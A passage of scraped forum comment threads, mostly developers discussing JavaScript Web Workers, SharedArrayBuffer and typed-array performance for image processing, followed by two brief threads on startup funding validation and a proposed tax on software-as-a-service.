[0] [https://github.com/Klathmon/stitchpics/blob/master/app/eleme...](https://github.com/Klathmon/stitchpics/blob/master/app/elements/cross- stitch/element.js#L95-L118)

<comment><USER13> That's interesting but, AFAIK (and, believe me, I'd be happy to be corrected), what you can't do is create a canvas element (even one not attached to the DOM), and paint directly to it using the standard 2D context and drawing primitives.

Like I say, more than happy to be corrected, because that sort of thing would be incredibly helpful. Really, anything that lets you mess with a disconnected DOM in the background and then attach it in the foreground could be useful but (and, again, I'm very happy to be corrected), I don't think you can do this.

<comment><USER14> You're talking about OffscreenCanvas. It's available in Firefox and nowhere else:

[https://developer.mozilla.org/en- US/docs/Web/API/OffscreenCa...](https://developer.mozilla.org/en- US/docs/Web/API/OffscreenCanvas)

Having said that, if you want fast image manipulation, you're probably better off doing direct manipulation of Uint8Clamped arrays anyway, since that can be much faster.

<comment><USER12> And if you can get away with it and don't mind a lot of bit shifting, it's even better working with the Uint32array which packs all 3 colors and alpha into one element which reduces your loops by 4X

<comment><USER14> Because matching the native 32 word size is better for the prefetcher, right?

Wouldn't most CPU's these days be smart enough to detect advancing the index by 4, and then using offsets?

So:

        for(let i = 0; i < someUint8Array.length; i += 4){
          let R = someUint8Array[i], G = someUint8Array[i+1],
            B = someUint8Array[i+2], A = someUint8Array[i+3];
          // ... manipulations here
        }

<comment><USER12> I'm honestly not sure why it is, but across all browsers on both ARM and x86_64 arches it was almost 3x faster than doing what you wrote.

I have a feeling it's more of a JS JIT thing than a CPU prefetcher thing, but honestly I'm not really sure.

In my program I linked above, it was actually faster to use Uint32array everywhere and then use functions to pull the 4 color values from it and another function to push the 4 values back to a uint32.

Granted, it's been over a year since I last benchmarked that code, but I did reuse some of the image code recently and found iterating over a Uint32array to be significantly faster. (And funnily enough, manually unrolling the loop of Uint32array to something similar to what you wrote gave an additional small performance boost, but it was small enough to be not worth the extra weirdness in the code to me)

<comment><USER14> Thanks for the info, that might save me some benchmarking time myself in the near future ;)

<comment><USER12> If it helps, I took the class I made that converts between 4 Uint8Clamped values to a Uint32 value and vice versa into an NPM package at [0].

At the very least it can show you some of the gotchas with bit shifting in JS (like how values often look negative until they are placed into a Uint32array then they become positive integers, and how you need to check for endianness)

[0] [https://github.com/Klathmon/BitPacker.js](https://github.com/Klathmon/BitPacker.js)

<comment><USER14> Would not have thought of checking for endianness, thanks!

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER15> If you don't like to have to load an external file (+ an extra request) you can use my library uwork: [https://github.com/franciscop/uwork](https://github.com/franciscop/uwork)

It has some limitations, but for long lived process intensive and async functions is perfect. It has a really clean and easy syntax where you don't need to learn everything about Web Workers and their APIs to be able to use it.

If you are already using promises you might not even need anything besides wrapping the function in a callback.

</comment><comment><USER16> This is a very nice article! There's however a bug in the code, where it will "finish" when the last worker is done:

      if(msg.data.offset + msg.data.length === buffer.byteLength)

While you most likely want to wait for _all_ workers to be done before showing the results. In this code however, the last worker will always finish last because it has more work to do (higher numbers).

It's often cheaper to scale horizontally, by spreading the work between physical machines, then to add more cores to a shared memory. So it's not such a big deal to have a single threaded program, and single threaded code is easier to reason about. SharedArrayBuffer will however be nice in JavaScript because it allows optimization is games and such, allowing you to have parallel for loops.

</comment><comment><USER17> Workers are really bad. Its anecdotal but I've written several projects and more often then not there is a weird browser quirk, a memory leak, or some other nastiness hidden in the worker implementation. I think my next project I'll go with Emscripten pthreads implementation and see if it's better.

</comment><comment><USER18> I'd just like some high level guidance on how my browser makes use of threads internally. I feel like I could have further optimized a couple web apps with that knowledge.

<comment><USER19> Excluding web workers, just one thread per tab/window. So there's really no consideration for optimization via. parallelism unless you use web workers.

And if I'm wrong, this is the quickest way to get the right info. :)

<comment><USER20> I'm pretty sure you're wrong. At the bare minimum, setTimeout must use a clock in another thread, since it doesn't block your primary thread code. I'm fairly sure that most of all of the JavaScript APIs that use callbacks are using additional threads, including the ubiquitous XMLHttpRequest.

<comment><USER19> I'm not sure how the inner plumbing works. But since the queue just pops onto the stack, there's no true parallelism and therefore no optimization opportunity.

That being said, I'm not sure you're correct. There is no concern of blocking the main thread, since functions queued up via. `setTimeout()` are not tracked by some non-blocking timer. The queue is only inspected if the stack is empty. So if anything is happening, we just ignore the queue until nothing is happening. `setTimeout()` only guarantees a message will be processed after x milliseconds, not on-time.

[https://developer.mozilla.org/en/docs/Web/JavaScript/EventLo...](https://developer.mozilla.org/en/docs/Web/JavaScript/EventLoop)

<comment><USER20> You can definitely block the main thread. XHR requests can be run synchronously by calling .open() with false as the third argument. And when you do asynchronous XHR requests, the browser can and will run multiple requests in parallel. Of course, the callbacks just get added to the event queue and run one at a time to completion on the main thread. And granted, it's hard to call this an "optimization opportunity," since you should almost never make synchronous XHR requests anyway.

<comment><USER19> True. But I'd call synchronous XHR a legacy item that you should probably never use.

</comment></comment></comment></comment></comment></comment><comment><USER21> A dart example - [https://github.com/filiph/prime_finder](https://github.com/filiph/prime_finder)

<comment><USER22> I don't think your example uses SharedArrayBuffer? Nice to have Dart example though.

</comment></comment><comment><USER23> <= instead of < would make the first few numbers come out correctly:

for(var n=2; n <= Math.floor(Math.sqrt(candidate)); n++)

</comment><comment><USER24> I actually misread the title as "JavaScript in Peril", which depending on you feel about the features ...

</comment><comment><USER25> What are the statuses of Web Worker support in the mobile browsers? Android? iOS?

<comment><USER26> All browsers (except Opera Mini) support it: [http://caniuse.com/#feat=webworkers](http://caniuse.com/#feat=webworkers)

</comment></comment><comment><USER27> +1 for providing good summary in the beginning. I wish more articles had these.</comment>


Small Ball - <AUTHOR> http://avc.com/2016/05/small-ball/ <comment><USER2> Is this validation of: customers, revenue, profit then seeking funding? I think yes. My small, empirical data follows this. Similar to the PG set of "default-alive"</comment>


How a SaaS tax could hurt our customers - <AUTHOR> http://blog.tsheets.com/2013/news/of-tech-and-taxes-how-a-saas-tax-could-hurt-our-customers.html

<comment><USER2> Next thing you know we'll be getting taxed on services (and be expected to collect tax from customers for services).

</comment><comment><USER3> Another example of clueless legislation that doesn't even do what it's supposed to. Smells like SOPA to me.

<comment><AUTHOR> Luckily most states understand that software as a service is just that.....a service.</comment></comment>